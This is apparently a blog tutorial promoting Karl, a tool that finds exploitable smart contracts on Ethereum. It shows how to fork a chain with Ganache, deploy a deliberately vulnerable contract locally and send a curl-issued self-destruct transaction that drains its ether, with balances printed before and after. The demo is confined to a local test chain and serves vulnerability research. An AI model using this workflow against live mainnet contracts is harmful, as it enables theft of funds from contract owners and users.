How to Exploit Ethereum in a Virtual Environment

This is going to be a series about some of the techniques I implemented when designing Karl, a free tool that finds exploitable code in live smart contracts.

When I monitor the Ethereum blockchain for vulnerable contracts, I need a way to determine if the vulnerabilities I find are the real thing, or merely a scattering of false positives and honeypots. I’ve been able to mitigate this possibility by testing for vulnerabilities in a virtual copy of the blockchain.

Virtual environment

A blockchain clone is useful because we could break the contract arbitrarily sending transactions to it. Remember “I accidentally killed it”?

Another great reason to use a virtual environment is that once you send transactions to the blockchain, any other person watching it will know how to exploit it, and they may not be as diligent as you about responsibly disclosing the vulnerability to the creators of the application.

Even if you wanted to exploit the contract, you would still need to make sure the exploit works by testing it before carrying out the attack.

How to setup the virtual environment

You may know about ganache, the whipped filling of chocolate and cream, used in desserts such as cakes and truffles. Mmmmhhm yeah! But there’s another ganache that works really well with truffles.

Being part of the Truffle Framework, a smart contract development environment, Ganache is your on-demand personal Ethereum blockchain, perfect for local development… and hacking!

Compared to Geth or Parity, Ganache is easier to setup and it’s not as resource intensive.

You can install and run Ganache in just 2 commands (if you have Node.js installed)

$ npm install -g ganache-cli
$ ganache-cli

And you have your own personal blockchain.

Forking the mainnnet

A little-known feature of Ganache is forking another blockchain. You can think about this as cloning an existing blockchain, but don’t worry, you won’t need to download the entire blockchain! Ganache will start instantly and will only query the real blockchain when it needs to, for example to read the contract’s code and state.

$ ganache-cli -f https://mainnet.infura.io

And you can fork the chain at a specific block if that’s what you need, for example forking at block 100.

$ ganache-cli -f https://mainnet.infura.io@100

This will provide a blockchain clone that is safe to play with. It will create a local instance and you can send transactions and deploy new contracts, run your exploit and check its validity. All of this without touching the real blockchain, without anyone else knowing what you’re doing and without self-destructing libraries by mistake.

Exploiting in a virtual environment walk-through

This is where we start to go into details. You need a few things installed.

In the following example you will:

Karl

If you don’t know about Karl, go to the GitHub page and star the project. It helps you find vulnerable contracts on Ethereum.

https://github.com/cleanunicorn/karl

If you find any bugs or have any problems running Karl, please report an issue.

Karl is available as a PyPI package, so you can just install it by running:

$ pip install --user karl

Typically you would point Karl at the main Ethereum network and monitor the contracts that get deployed there. For demonstration purposes, we’re going to monitor a local test chain instead. We’ll use Ganache for this test chain too.

We start a private Ganache instance.

$ ganache-cli -d

Start Karl and monitor for new contracts.

$ karl --rpc localhost:8545

In the Ganache console you will see Karl polling for new blocks, waiting for a new contract to be deployed.

Listening on 127.0.0.1:8545
eth_blockNumber
eth_getBlockByNumber
eth_getBlockByNumber
eth_getBlockByNumber
eth_getBlockByNumber
eth_getBlockByNumber
...

We’re going to deploy a vulnerable contract ourselves.

This curl request deploys a vulnerable contract along with 1 ether.

curl -X POST -d '{"id": 1, "jsonrpc": "2.0", "method": "eth_sendTransaction", "params": [{"from": "0xaca94ef8bd5ffee41947b4585a84bda5a3d3da6e", "gas": "300000", "value": "0xde0b6b3a7640000",  "data": "0x608060405260c0806100126000396000f3fe6080604052348015600f57600080fd5b50600436106044577c01000000000000000000000000000000000000000000000000000000006000350463cbf0b0c081146049575b600080fd5b607960048036036020811015605d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16607b565b005b8073ffffffffffffffffffffffffffffffffffffffff16fffea165627a7a72305820ddb174c0ae06fce4c792c57814a3c70d932e0ae31a6a3560c4ca0bb7be11bc370029"}]}' localhost:8545

Karl should find a vulnerability right away.

POSSIBLE VULNERABILITY!
Initial balance = 100000000000000000000, final balance = 101999999999999985722

Type = VulnerabilityType.KILL_AND_WITHDRAW
Description = Looks line anyone can kill this contract and steal its balance.
Transactions = [{'from': '0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e', 'to': '0x07a457d878BF363E0Bb5aa0B096092f941e19962', 'data': '0xcbf0b0c0bebebebebebebebebebebebe1dF62f291b2E969fB0849d99D9Ce41e2F137006e', 'value': 0}]

Now we can fork the chain and check the vulnerability ourselves.

Forking the chain

The original chain is located at http://localhost:8545, because we’re running this on the same machine we can start Ganache with fork functionality and start it on a different port.

$ ganache-cli -f http://localhost:8545 -d -p 9545

Each flag explained:

Once the fork is up and running, we can send the transaction that Karl reported and see if we successfully stole the contract’s ether.

First check the initial balance of the address that will exploit the vulnerable contract 0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e.

$ curl -X POST -d '{"id": 1, "method": "eth_getBalance", "params":["0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e"]}' localhost:9545

{"id":1,"result":"0x56bc75e2d63100000"}

Our current balance is 0x56bc75e2d63100000 which is exactly 100 ether in hex format.

Exploiting the contract

We send the transaction Karl reported

$ curl -X POST -d '{"id": 1, "method": "eth_sendTransaction", "params":[{"from": "0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e", "to": "0x07a457d878BF363E0Bb5aa0B096092f941e19962", "data": "0xcbf0b0c0bebebebebebebebebebebebe1dF62f291b2E969fB0849d99D9Ce41e2F137006e", "value": 0}]}' localhost:9545

{"id":1,"result":"0xbac0d287bcc30e262e90161ab01a6d5b978ef981a103414125d3a4877b8e55e1"}

We see a successful response with the transaction hash in the result.

Checking the final balance

The last thing to do is get the final balance of the account.

$ curl -X POST -d '{"id": 1, "method": "eth_getBalance", "params":["0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e"]}' localhost:9545

{"id":1,"result":"0x579a71129ec175000"}

Doing the math we see that the difference is almost 1 ether, the initial ether we sent in the contract when we deployed it, minus the transaction fee when exploiting it.

Boom! Hacked!

Boom! Hacked!

The cool thing is that Karl does this automatically for you. It creates the local fork, tries the exploit and outputs an alert when there is an exploitable vulnerability.

All this goodness is already implemented and packaged for you.

https://github.com/cleanunicorn/karl

More posts chevronRight icon